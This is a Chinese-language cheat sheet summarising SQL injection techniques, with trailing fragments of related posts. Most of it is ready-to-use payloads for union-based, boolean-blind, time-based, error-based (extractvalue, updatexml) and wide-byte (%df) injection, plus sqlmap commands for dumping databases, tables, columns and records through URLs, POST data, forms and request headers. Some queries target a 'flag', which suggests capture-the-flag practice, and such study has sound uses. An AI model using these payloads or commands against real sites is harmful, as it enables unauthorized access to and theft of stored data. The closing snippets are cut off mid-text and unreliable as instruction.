Sql注入總結

2022-05-05 05:18:11 字數 4314 閱讀 9224

1、利用閉合變數報錯測試注入點,?id=1』這樣說明存在單引號閉合注入

2、是否存在注入點,用and語句測試

?id=1』 and 1=2# ?id=1』 and 1=1#

3、猜測字段

?id=1』 order by 3%23

4、找到頁面中資料輸入點

?id=-1』 union select 1,2,3%23

5、查資料庫

?id=1』 union select 1,schema_name from information_schema.schemata,3%23

6、查表

?id=-1』 union select 1,table_name,3 from information_schema.tables where table_schema=database()%23

7、查字段

?id=-1』 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='表名'%23

8、查資料

?id=-1』 union select 1,flag,3 from 資料庫.表名%23

1、判斷是否存在注入點

?id=1』 and 1=1%23(返回ture頁面)

?id=1』 and 1=2%23(返回false頁面)

存在布林型盲注

2、查資料庫長度

id=1』 and (length(database()))>7%23返回ture頁面說明長度大於7

id=1』 and (length(database()))>20%23返回false頁面說明長度小於20

利用二分法最終確定資料庫長度

如果id=1』 and (length(database()))=12%23 返回ture說明資料庫長度為12

3、查資料庫

?id=1』and ascii(substr(database(),2,1))>114%23(對查詢的資料取第一位判斷)

substr(a,b,c)是擷取字元函式。a=擷取物件 b=擷取的位數 c=擷取的個數

substr(database(),1,1)是取出資料庫的第一位的值。

4、查表

?id=1』 and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)))>130%23(利用二分法,ascii為ascii碼,例如97=『a』)

7、查列:

?id=1』 and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=『表名』 limit 0,1),1,1)))>0%23(如果報錯可以加limit 0,1)

8、查字段

?id=1』 and length((select username from 資料庫.表名 limit 0,1))>0%23

是由返回響應的時間判斷的。利用此函式sleep()與if()

判斷:?id=1』 and sleep(5)%23

響應時間5秒存在延時注入

查資料庫

?id=1』and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23

其他操作語法與布林型一樣。

基於報錯的盲注是通過輸入特定語句使頁面報錯,網頁中則會輸出相關錯誤資訊,從而是我們得到想要的基本資訊——資料庫名、版本、使用者名稱等

1.直接使用報錯:

' union select 1,count(*),concat('/',(select database()),'/',floor(rand(0)*2))a from information_schema.columns group by a--+

這裡格式貌似幾乎固定,相當於這樣輸就會出錯的bug,count()用來返回有多少條資料這裡固定寫法,中間select後面是我們要獲得的資訊,

floor(rand(0)*2)也是固定寫法,floor用來取不大於括號裡的最大整數,比如1.5取1,後面的a和最後的a只要是相等的字元就可以,注意返回值不能超過一行,如果多行資料加limit

2.利用xpath函式-extractvalue報錯

payload:

' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

這也是一種類似bug的固定寫法,extractvalue,concat裡面第乙個必須是0x7e,後面是要查的內容,concat裡面可以放很多引數(參見目錄),所以可以多查很多資料,如

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e,user()))--+

3.利用xpath函式—updatexml報錯:

payload:

' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

與extractvalue同理,這裡不再贅述

測試?id=1』 and 1=2%23 沒反應

?id=1』 %df』 and 1=2%23 頁面返回假。說明存在寬位元組注入

後面與前面語法一樣。不過都得?id=1』 %df』 有%df進行注入

查所有資料庫

sqlmap -u 「url」 --dbs

當前資料庫

sqlmap -u 「url」 --current-db

sqlmap -u 「url」 -d 資料庫 --tables

sqlmap -u 「url」 -d 資料庫 -t 表名 --columns

字段sqlmap -u 「url」 -d 資料庫 -t 表名 -c 列名1,列名2 --dump

1.先用burp抓包,如下

將資料報copy to file

儲存到"c:\users\administrator\desktop\1.txt"

2.python sqlmap.py -r "請求包的路徑" -p "注入點"

查所有資料庫

sqlmap -r 「c://windows/web/1.txt」 -p id --dbs (-r為儲存的txt檔案路徑,-p為存在注入的引數,這裡是id)

當前資料庫

sqlmap -r 「c://windows/web/1.txt」 -p id --current-db

查所有表

sqlmap -r 「c://windows/web/1.txt」 -p id -d 資料庫 --tables

sqlmap -r 「c://windows/web/1.txt」 -p id -d 資料庫 -t 表名 --columns

字段sqlmap -r 「c://windows/web/1.txt」 -p id -d 資料庫 -t 表名 -c 列名1,列名2 --dump

第二種方法

如post id=1存在注入

sqlmap -u「url」–data=「id=1」

第三種方法

在表單中,例如登陸頁面,如果不知道那個引數存在注入

sqlmap.py -u 「url」 --forms

然後一直點y即可。

referrer頭

sqlmap -u 「url」 --dbs --level 3

(可能要跑很久

host頭

sqlmap -u 「url」 --dbs --level 5

user-agent

sqlmap -u 「url」 --user-agent --dbs --level 3

sqlmap -u "url?id=1%df'"

SQL注入總結

在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...

sql注入總結

第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...

sql注入總結

資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...